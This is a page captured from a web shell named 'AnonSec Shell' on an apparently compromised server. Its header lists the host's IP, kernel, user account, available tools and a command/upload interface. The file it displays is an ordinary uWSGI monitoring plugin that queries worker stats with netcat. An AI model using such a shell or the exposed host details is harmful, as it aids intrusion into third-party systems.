AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 18.216.19.68
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/uwsgi.py
import agent_util
import logging

logger = logging.getLogger(__name__)


class UWSGIPlugin(agent_util.Plugin):
    textkey = "uwsgi"
    label = "UWSGI"

    @classmethod
    def get_metadata(self, config):
        status = agent_util.SUPPORTED
        msg = None

        # check if uwsgi is even installed
        installed = agent_util.which("uwsgi")
        if not installed:
            self.log.info("The uwsgi binary was not found.")
            status = agent_util.UNSUPPORTED
            msg = "uwsgi binary not found"
            return {}

        if not config:
            msg = "The [uwsgi] config block is not found in the agent config file."
            self.log.info(msg)
            status = agent_util.MISCONFIGURED

        if status == agent_util.SUPPORTED and (not "server" in config or not "port" in config):
            msg = "The server and port settings were not found in the [uwsgi] block of the agent config file."
            self.log.info(msg)
            status = agent_util.MISCONFIGURED

        workers = []
        if status is agent_util.SUPPORTED:
            try:
                status, output = agent_util.execute_command('nc %s %s' % (config['server'], config['port']))
                if status != 0: raise Exception(output)
                output = agent_util.json_loads(output)
                for worker in output["workers"]:
                    workers.append("Worker #%s" % worker["pid"])
                workers.sort()

            except:
                status = agent_util.MISCONFIGURED
                msg = "Unable to get uwsgi status, please make sure uwsgi is running with the status module enabled and that the connection settings in the agent configuration file are valid."   
                self.log.info(msg)


        if status == agent_util.SUPPORTED and not workers:
            status = agent_util.MISCONFIGURED
            msg = "No workers found."
      
        metadata = {
            "requests": {
                "label": "Requests per second",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "requests"
            },
            "exceptions": {
                "label": "Exceptions",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "exceptions"
            },
            "status": {
                "label": "Worker is busy or free to use(BUSY=1, FREE=0)",
                "options": workers,
                "status": status,
                "error_message": msg
            },
            "rss": {
                "label": "Worker RSS (Resident Set Size)",
                "options": workers,
                "status": status,
                "error_message": msg
            },
            "vsz": {
                "label": "Worker VSZ (Virtual Memory Size)",
                "options": workers,
                "status": status,
                "error_message": msg
            },
            "running_time": {
                "label": "How long worker is working",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "workers"
            },
            "respawn_count": {
                "label": "How many requests worker did since worker (re)spawn",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "requests"
            },
            "tx": {
                "label": "How many data was transmitted by worker",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "data"
            },
            "avg_rt": {
                "label": "Average request time",
                "options": workers,
                "status": status,
                "error_message": msg,
                "unit": "ms"
            }
        }
        return metadata


    def check(self, textkey, worker, config):
        status, output = agent_util.execute_command("nc %s %s" %(config["server"],config["port"]))
        if status != 0: raise Exception(output)
        output = agent_util.json_loads(output)
        workers = output["workers"]
        pid = worker.replace("Worker #","")

        for w in workers:
            if w["pid"] == int(pid):
                worker = w
                break
        try:
            res = worker[textkey]
            if textkey == "status":
                if res == "idle": res = 0
                else: res = 1
        except:
            res = 0
        return res

Anon7 - 2022
AnonSec Team